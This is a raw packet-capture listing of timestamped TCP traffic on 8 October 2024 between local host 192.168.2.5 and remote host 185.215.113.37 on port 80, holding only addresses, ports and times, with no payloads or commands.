Oct 8, 2024 05:27:17.382741928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382761002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382795095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382807970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382807970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382827044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382869005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382869005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382879972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382905006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382940054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382947922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382947922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382972956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383006096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383018017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383018017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383040905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383074045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383090019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383090019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383107901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383141041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383153915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383153915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383174896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383198977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383209944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383243084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383256912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383256912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383289099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383336067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383336067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383419037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383454084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383486986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383502007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383502007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383521080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383553982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383554935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383591890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383604050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383604050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383625031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383657932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383672953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383672953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383692026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383725882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383738995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383738995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383754969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383790016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383799076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383799076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383825064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383857012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383871078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383871078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383892059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383924007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383939028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383939028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.383960009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.383996010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.384007931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.384007931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.384325981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429267883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429291010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429307938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429322958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429338932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429354906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429372072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429382086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429382086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429389000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429447889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429447889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429640055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429656029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429671049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429707050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429707050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429721117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429754972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429769993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429769993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429789066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429821014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429836988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429836988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429853916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.429899931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429899931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.429987907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430057049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430116892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430146933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430177927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430191040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430191040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430212975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430244923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430260897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430260897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430278063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430310011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430325985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430325985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430425882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430828094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430857897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430908918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430912018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430912018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430943966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430979013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.430991888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.430991888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431014061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431062937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431062937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431065083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431102037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431135893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431149006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431149006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431219101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431221008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431277037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431309938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431319952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431319952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431344986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431431055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431477070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431510925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431525946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431525946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431545973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431580067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431596041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431596041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431612968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431646109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431663990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431663990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431679010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431711912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431725979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431725979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431747913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431776047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431797028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431797028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.431971073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.431999922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432019949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432019949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432049990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432085037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432096958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432096958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432117939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432152033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432163954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432163954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432184935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432220936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432233095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432233095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432257891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432291985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432303905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432303905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432343006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432375908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432390928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432390928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432409048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432442904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432456970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432456970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432476997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432506084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.432527065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432527065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.432651043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470124006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470170021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470248938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470302105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470307112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470307112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470307112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470335960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470362902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470387936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470391035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470423937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470458031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470482111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470482111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470490932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470519066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470526934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470563889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470578909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470578909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470616102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470633984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470668077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470701933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470716953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470716953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470750093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470783949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470808029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470808029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470818043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470854044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470870972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470870972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470887899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470926046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470942974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470942974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470958948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.470977068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.470993996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471010923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471052885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471158981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471211910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471220970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471245050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471278906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471293926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471293926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471313000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471345901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471359015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471359015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471379042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471410036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471437931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471443892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471479893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471494913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471513987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471548080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471565008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471565962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471584082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471611977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471616983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471649885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471664906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471664906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471682072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471700907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471714973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471726894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471748114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471781969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471795082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471795082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471815109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471848011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471863031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471863031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471879959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471914053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471930027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471930027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471946001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471978903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.471991062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.471991062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472011089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472044945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472057104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472057104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472079039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472112894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472132921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472132921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472146034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472171068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472181082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472214937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472219944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472219944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472246885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472265005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472280979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472316027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.472328901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472328901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.472378969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.517668009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517678976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517705917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517720938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517738104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517752886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517769098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517784119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.517802954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.517802954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.517863989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518170118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518186092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518199921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518234968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518235922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518249989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518265963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518281937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518296957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518301964 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518354893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518354893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518491983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518507004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518522978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.518568993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518568993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.518608093 CEST	80	49706	185.215.113.37	192.168.2.5
